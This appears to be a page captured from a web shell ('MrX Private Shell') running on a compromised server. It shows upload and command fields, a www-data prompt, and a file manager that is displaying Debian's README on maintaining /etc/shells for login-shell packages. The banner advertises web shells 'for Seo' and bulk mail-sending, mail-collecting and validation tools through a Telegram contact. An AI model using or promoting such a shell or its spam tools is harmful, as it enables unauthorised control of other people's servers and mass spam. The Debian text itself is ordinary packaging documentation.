__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
/etc/shells micropolicy

The expected audience of this is debian developers packaging programs
meant to be used as login shells.

/etc/shells is no longer a config file, but is maintained by the
add-shell, remove-shell and update-shells programs.  So, if a
package contains something that the maintainer thinks ought to be a
valid login shell, it can have its shell included in two different way.

By placing a fragment in /usr/share/debianutils/shells.d/<binarypackage>,
it will invoke a file trigger on debian-utils and invoke update-shells,
which will add and remove the contained shells from /etc/shells as
needed.

Alternatively, it's postinst should, (on initial install only, to allow a
sysadmin to take it out again), run:

/usr/sbin/add-shell /path/to/shell

In the postrm, probably on remove, the package should call

/usr/sbin/remove-shell /path/to/shell

The latter method has the disadvantage of shells disappearing from /etc/shells
when the relevant package is removed but not purged and then reinstalled. The
fragment method does not suffer from this limitation.

Filemanager

Name Type Size Permission Actions
README.shells File 1.05 KB 0644
changelog.gz File 4.16 KB 0644
copyright File 8.85 KB 0644
Filemanager